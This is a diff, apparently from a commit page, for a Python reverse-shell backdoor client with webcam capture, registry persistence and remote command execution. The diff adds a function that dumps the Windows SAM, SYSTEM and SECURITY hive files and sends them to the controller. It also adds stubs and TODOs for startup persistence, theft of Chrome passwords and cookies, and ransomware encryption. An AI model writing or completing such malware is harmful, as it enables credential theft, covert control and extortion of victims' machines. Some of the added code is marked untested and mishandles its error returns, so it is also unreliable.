11# Standard library imports
2+ import ctypes
23import cv2
34import json
45import os
@@ -76,6 +77,38 @@ def screenshot():
7677# TODO: screenshot other monitors
7778
7879
80+ # TODO: SAM - this code is untested
81+ def get_sam_dump ():
82+ if not is_admin ():
83+ return "You must run this function as an Administrator."
84+
85+ SAM = r'C:\Windows\System32\config\SAM'
86+ SYSTEM = r'C:\Windows\System32\config\SYSTEM'
87+ SECURITY = r'C:\Windows\System32\config\SECURITY'
88+
89+ try :
90+ sam_file = open (SAM , 'rb' )
91+ system_file = open (SYSTEM , 'rb' )
92+ security_file = open (SECURITY , 'rb' )
93+
94+ sam_data = sam_file .read ()
95+ system_data = system_file .read ()
96+ security_data = security_file .read ()
97+
98+ sam_file .close ()
99+ system_file .close ()
100+ security_file .close ()
101+
102+ return sam_data , system_data , security_data
103+ except PermissionError :
104+ return "Insufficient permissions to access SAM, SYSTEM, or SECURITY files."
105+ except FileNotFoundError :
106+ return "SAM, SYSTEM, or SECURITY file not found. Please check the file paths."
107+ except Exception as e :
108+ return f"An unexpected error occurred: { str (e )} "
109+
110+
111+
79112def capture_webcam ():
80113 webcam = cv2 .VideoCapture (0 )
81114 webcam .set (cv2 .CAP_PROP_EXPOSURE , 40 )
@@ -104,7 +137,7 @@ def capture_webcam():
104137 print ("Failed to save webcam image" )
105138
106139
107-
140+ # TODO rename from persist to `reg_persist`
108141def persist (reg_name , copy_name ):
109142 file_location = os .environ ['appdata' ] + '\\ ' + copy_name
110143 try :
@@ -120,6 +153,11 @@ def persist(reg_name, copy_name):
120153 reliable_send ('[-] Error Creating Persistence With The Target Machine' )
121154
122155
156+ def startup_persist (file_name ):
157+ pass
158+ # TODO create persistence in startup folder
159+
160+
123161def is_admin ():
124162 global admin
125163 if platform == 'win32' :
@@ -131,8 +169,48 @@ def is_admin():
131169 admin = '[+] Administrator Privileges!'
132170 elif platform == "linux" or platform == "linux2" or platform == "darwin" :
133171 pass
134- # TO BE DONE
172+ # TODO implmenet checking if these platforms have root/admin access
173+
174+
175+ # TODO: more elegant but relibles on an additional library
176+ # def is_admin():
177+ # try:
178+ # return ctypes.windll.shell32.IsUserAnAdmin()
179+ # except:
180+ # return False
181+
182+
183+ # def is_admin():
184+ # global admin
185+ # if platform == 'win32':
186+ # try:
187+ # temp = os.listdir(os.sep.join([os.environ.get('SystemRoot', 'C:\windows'), 'temp']))
188+ # except:
189+ # admin = False
190+ # else:
191+ # admin = True
192+ # elif platform == "linux" or platform == "linux2" or platform == "darwin":
193+ # os.open('/etc/hosts', os.O_RDONLY)
194+ # admin = True
195+ # # TODO implmenet checking if these platforms have root/admin access
196+ # return admin
197+
198+
199+ # def admin_string(is_admin):
200+ # if(is_admin):
201+ # return '[+] Administrator Privileges!'
202+ # else:
203+ # return '[!!] User Privileges!'
204+
205+
206+ # TODO get_chrome_passwords()
207+
208+ # TODO get_chrome_cookies()
135209
210+ # TODO encrypt_user_dir() ransomware element
211+ # TODO def encrypt_file_in_dir(file_name, key)
212+ # TODO def gen_key()
213+ # TODO def send_key(file_name, key)
136214
137215def shell ():
138216 while True :
@@ -147,6 +225,11 @@ def shell():
147225 pass # END
148226 elif command [:3 ] == 'cd ' :
149227 os .chdir (command [3 :])
228+ # try:
229+ # os.chdir(command[3:])
230+ # reliable_send('[+] Changed working dir to ' + os.getcwd())
231+ # except Exception as e:
232+ # reliable_send('[-] ' + str(e))
150233 elif command [:6 ] == 'upload' :
151234 download_file (command [7 :])
152235 elif command [:8 ] == 'download' :
@@ -195,6 +278,10 @@ def shell():
195278 reliable_send ('[+] Started!' )
196279 except :
197280 reliable_send ('[-] Failed to start!' )
281+ # TODO: This code is untested!
282+ elif command [:12 ] == 'get_sam_dump' :
283+ sam_dump , system_dump , security_dump = get_sam_dump ()
284+ reliable_send ((sam_dump , system_dump , security_dump ))
198285 else :
199286 execute = subprocess .Popen (command , shell = True , stdout = subprocess .PIPE , stderr = subprocess .PIPE ,
200287 stdin = subprocess .PIPE )
0 commit comments